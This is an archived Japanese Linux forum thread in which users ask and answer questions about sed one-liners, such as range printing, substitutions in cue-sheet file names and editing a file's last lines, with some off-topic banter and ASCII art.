0139login:Penguin垢版2008/12/03(水) 01:46:50ID:O9/K8qme
下記のtest.datから、
[1が出現してから3が出現するまでの行]はアドレス範囲を使えば簡単に取得できますが
$ sed -n -e '/^1/,/^3/p' test.dat
[1が出現してから3が出現する前の行]を取得するにはどうやるのでしょうか?
$ sed -n -e '/^1/,/^3/p' test.dat | sed -e '$d'
でもいいのですが、1回のsedで済ますにはどうすればよいでしょう?

$ cat >test.dat
0
1
2
3
4
5
^D
0140login:Penguin垢版2008/12/03(水) 02:53:15ID:1xcvKxcT
>>139

 sed -ne '/1/,/3/{/3/q; p'

0141139垢版2008/12/03(水) 08:40:11ID:O9/K8qme
>>140
こういう時にqを使うんだ。
物凄く恥ずかしながら、目から鱗状態です。
2週間の間、何度も思い出しては考えても分からなかったので質問してみた。
ありがとう。
0147login:Penguin垢版2010/06/01(火) 16:15:16ID:8+L/+i95
i=`echo $i|sed -e 's/^\([^ ]*\)\/$/\1/p' -e d`

スクリプト中のこの1文の意味が良く分かりません。
どういう処理をしているのか教えていただけないでしょうか。
0150login:Penguin垢版2010/11/14(日) 21:29:00ID:CtwAJPsE
(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)
(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)
(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)
(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)
(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)
0151login:Penguin垢版2011/02/20(日) 11:30:28.89ID:u91J24A/
だれもイナイですね。
cueシートに埋め込まれたFILE名に含まれるスペースをアンダースコアに置換しました。
かなり強引です。はじめてsedを使いました。もっと賢いやり方を教えてもらえれば幸いです。

/^FILE /{s/ /_/g;s/_WAVE/ WAVE/;s/FILE_/FILE /}
0152login:Penguin垢版2011/02/20(日) 11:58:55.03ID:W0Om8OH5
>>151
>だれもイナイですね。

枯れてるから特に話題も無いだけ。
まともに質問する気があるなら詳細条件書きなよ。
0153login:Penguin垢版2011/02/20(日) 12:38:50.24ID:u91J24A/
音楽用のcueシートがあります。
http://foobar2000.xrea.jp/index.php?foobar2000%E3%81%A8cue%E3%82%B7%E3%83%BC%E3%83%88

Tipsのような内容なのです。

FILE "高橋幸宏 - ARE YOU RECEIVING ME.wav" WAVE
 TRACK 01 AUDIO
  TITLE "Are You Receiving Me?"
  PERFORMER "高橋幸宏"
  INDEX 01 00:00:00
FILE "坂本龍一 - UNDO #1.wav" WAVE
 TRACK 01 AUDIO
  TITLE "Undo #1"
  PERFORMER "坂本龍一"
  INDEX 01 00:00:00

上記のFILEの"で括られた中のスペースをアンダースコアに置換したいのです。
>151 ではFILEの行にのスペースに対して一度すべてアンダースコアにしてます。
するとFILE_と_WAVEとなりるので、あとでこの2つに対してアンダースコアをスペースに戻しました。
0154login:Penguin垢版2011/02/20(日) 12:41:41.79ID:u91J24A/
本来ならばFILEを探した後、"を探し、その後"が出てくるまで
スペースをアンダースコアに置換するのが良いのでしょうが、難しくて私にはムリです。
で、上記の案で逃げました。
0155login:Penguin垢版2011/02/20(日) 16:47:44.30ID:W0Om8OH5
「FILE」で始まる行のダブルクォートで括られた文字列の中のスペースのみを「_」に置換したいって事?

なら、その方法が現実解だと思うよ。

行の特定の範囲だけを対象にして置換をかけるってのはsedだけだと難しいんじゃないかな。
少なくとも俺には無理なので、sedマスターの降臨を待つしかない。
0156login:Penguin垢版2011/02/20(日) 19:26:50.99ID:u91J24A/
そうですか。ありがとうございました。
0157login:Penguin垢版2011/03/23(水) 08:12:08.06ID:sSsfO317
/^FILE "\(.*\)" WAVE/{s//\1/;y/ /_/;s/.*/FILE "&" WAVE/}
とかすればよいのでは?
まぁ、同じく置換が3回入るので効率はあまり変わりませんが...
0158login:Penguin垢版2011/03/24(木) 17:45:58.62ID:Xy4asZTd
正道だと、こうなるのですね。ありがとうございます。
0159login:Penguin垢版2011/09/21(水) 16:48:38.31ID:w//dmoHs
ファイルの最後5行を削除する例としてネットで以下を見つけたのですが、
 sed -e '$-4,$d' file
現在使用中のCentOS環境ではGNU sed 4.1.5版で以下のようなエラーが表示されてしまいます。
 sed: -e 表現 #1, 文字数 2: 未知のコマンドです: 「-」
GNUサイトから4.2をダウンロードしてみましたが、やっぱりダメで
そもそも上記の例がなんのsed(?)で実現したものなのかもわからないのですが…。

実際にやりたかったのはファイルの最後n行だけを対象に置換処理をすることで
 sed -e '$-4,$s/hoge/piyo/'
のようにしてみましたが当然ダメでした。

事前にwc -lで行数を取得し、exprで-4する方法と組み合わせるなどすれば
範囲を特定することもできると思いますが、
sedだけで完結できる方法はないでしょうか?
0160login:Penguin垢版2011/09/22(木) 12:25:27.36ID:KTYpcKqF
>>159
こんなに下がっているスレで質問するときは上げた方がいい。誰にも気が付かれないかも知れない。

それ本当にsedのスクリプト?自分にはedのスクリプトに見えるが、それを見つけたページが分からないと何とも。

分かってると思うけど、sedは一行ずつ順番に処理していくから、後戻りは出来ないし事前に最終行も分からない。
だから、工夫が必要で下のようになる。分かりやすく汎用的に書くならsedスクリプトを書くしかないね。
sed '1{N;N;N;N};$!{P;N;D};s/hoge/piyo/g' file
sed '1{x;d};2,4{H;d};5{x;G};$!{P;N;D};s/hoge/piyo/g' file

でもこれは、嫌だな。スクリプトで書くと分かり易いんだけど…
tac使っていいのなら、tac | sed '1,5s/hoge/piyo/' | tacって書けるけど遅いだろうね。
0161159垢版2011/09/22(木) 14:33:51.94ID:IWU2+wB3
>>160
返信ありがとうございます。m(_ _)m
2chビューアのデフォルトに慣れていたせいで上げ忘れました(^^;

ネットで見かけたサンプルはGoogleで
「sed (最終|最後)*行 削除」を検索すればいくつか見つかると思いますが
OSやsedバージョンまでは書かれていないのでその辺がなんとも…。

sedのパターンスペースは使ったことがなかったので
ちょっと勉強してみたいと思いますが、
他人(未来の自分)が見ても理解できないかもしれませんね…
0162login:Penguin垢版2011/09/22(木) 23:43:57.24ID:KTYpcKqF
>>161
それで出たわ。「"sed -e '$-3,$d' file"」でググると出るわ出るわ…
POSIXの規格読むと分かるけど、sedのアドレスにそんな指定方法はないし、
そもそも仕組み上そんな指定ができる訳がない。(そういう実装だとsedの良さがなくなる)

でも、ちょっとコマンド叩けば直ぐ試せるのに、ここまで間違った記述が蔓延したのは疑問。
気になって調べたら、どうも「入門UNIXシェルプログラミング 改訂第2版」が犯人。
正誤表に訂正あり。(参考:ttp://www.sbcr.jp/support/8429.html)

さらに、発売日以前に絞ってググったら、どっかの大学生がコピペしたページのみヒット。
コピー元は2003年まではあったようだから、つまり
間違った記述の1ページ → それを検証せず本に記載 → それをさらに検証せずにネットにコピペ
という流れで嘘情報が増大していったようだ。試せば出来ないことなんて瞬時に分かるのに…

ネット上の出展不明、再現もしくは検証不能情報は信用するなってことだな。
ところで、元レスの「"sed -e '$-4,$d' file"」で検索をかけても一件もヒットしなかったぞ。
わざわざ書き換えて転載されると検索にもでなくて困るよ(´・ω・`)
0163login:Penguin垢版2011/09/22(木) 23:57:58.95ID:KTYpcKqF
上の例に加えてもう一つ。一番分かりやすく書くとこうかな。

sed ': loop
1,4 { N
   b loop
}
$! { P
   N
   D }
s/hoge/piyo/g' file

こう書くと改行が入ってワンライナーにはつらいがしかたない。
ついでに言うとsedは普通パターンスペースしか使わない。使ったことないってのは変だ。
上のもパターンスペースしか使ってない。

POSIXにはないけど、GNU textutils(tacもそうだった)ならこんなのもいけるはず。
{ head -n -5 file && tail -n 5 | sed 's/hoge/piyo/'; }
0164login:Penguin垢版2011/09/23(金) 14:24:33.02ID:vKgog6QO
>>159
最後の5行だけ置換対象とする
#!/bin/sh
sed "$(($(sed -n '$=' file)-5+1)),$ s/hoge/piyo/" file

sedしか使ってないよ〜
/bin/shのArithmetic Expansionは使ってるけど
0165164垢版2011/09/23(金) 14:50:32.68ID:vKgog6QO
あ、fileは5行以上って前提
そこは工夫しないと
0166login:Penguin垢版2012/06/07(木) 10:18:04.20ID:srWmu+na
1行目の後にtestを入れるつもりがエラーになります。
>cat text.txt| sed -e '1atest'
sed: 1: "1atest
": command a expects \ followed by text

シェルの中で、置換と追加をやりたので、実際はこうなってます。
sed -e 's/Before/After/g' \
-e '1iコメント' \
  -e '12iコメント' \
 元ファイル > 新ファイル

行追加だけエラーになるのですが、
どこがおかしいのでしょうか?
0167login:Penguin垢版2012/06/07(木) 20:33:53.89ID:1zdUDRFK
>>166
質問の仕方から勉強すべき
どういう状態で何をするとどうなるのか
誰でも再現できるような説明を書くべき
0168login:Penguin垢版2012/06/30(土) 11:03:57.16ID:JdPlGyq5
sed使うくらいならperl使った方が楽。
0170login:Penguin垢版2012/07/02(月) 23:12:12.79ID:hH2EDXHS
>>168
perl使いってマジで気持ち悪い
どんな場面でも無理やりperlを使おうとする
シンプルなコマンドの組み合わせで機能を実現できたり、
よりモダンな言語やスクリプトで簡単に実現できるのに
強引なまでにperlにこだわる
(emacs使いもその傾向有り)
殆ど病気だわ
0171login:Penguin垢版2012/07/31(火) 04:16:59.47ID:79ga/vr4
常識で考えて、sedのバッファやりくりでパズルするくらいならperlのほうが楽だろ。
0172login:Penguin垢版2012/07/31(火) 14:10:23.75ID:SnlNjA/Q
>170
徒歩5分の距離にある目的地と徒歩1時間のそれ、そこに行くために歩いても自転車をこいでも自動車に乗ってもその人の自由でしょ。
常に特定の手段しか使わない人に関わりたくなければその人から遠ざかっていればいいじゃない。
0173login:Penguin垢版2012/08/30(木) 20:41:42.25ID:kbI/S7Ao
スレ違いで申し訳ないんっですが、join コマンドの使い方について教えてください。

下記のような「時間,数値」を持ったcsvファイルがあり、時間をキーにして結合したいと思っています。
コマンドを調べたところ「join」(もしくはpaste)コマンドがぴったりだったので

join aaa.csv bbb.csv

とコマンドを実行したのですが、期待結果が返ってきません。
ファイルの内容と期待結果は以下です。

aaa.csv
-----------------------
23:00:00,4.12
23:05:00,17.07
23:10:00,2.04
-----------------------

bbb.csv
-----------------------
23:00:00,4.35
23:05:00,8.39
23:10:00,2.07
-----------------------

ジョインした期待結果
-----------------------
23:00:00,4.12,4.35
23:05:00,17.07,8.39
23:10:00,2.04,2.07
----------------------

どうしたら期待結果のようになるでしょうか?
0174login:Penguin垢版2012/08/30(木) 21:13:34.46ID:kFZpMX1L
スレ違いだとわかってるなら適切なスレで聞いてください。
0176login:Penguin垢版2012/08/30(木) 21:48:28.92ID:kbI/S7Ao
>175
catコマンドで横に結合できるのでしょうか?><
0178login:Penguin垢版2012/08/31(金) 08:24:07.87ID:5kRScUpP
>>173
sed スレなんだから、sed を1つでも使ってやれよ!w
0179login:Penguin垢版2013/11/04(月) 18:07:02.93ID:p0Jz6Hdm
ちーばくん

ヘ__/ ̄ ̄ ̄\
\ノ  (・)   ヽ__)
 \_ノ    丿
  (ノー、  |
    ノ  ヽ
   /  | |
   |  (_ノ
   \  /
    ) /
    (_ノ
0180login:Penguin垢版2015/02/06(金) 13:20:41.40ID:/TKErNtd
>>173
もう見てはいないだろうが、 -t でちゃんとセパレータを設定する必要がある。
■ このスレッドは過去ログ倉庫に格納されています

ニューススポーツなんでも実況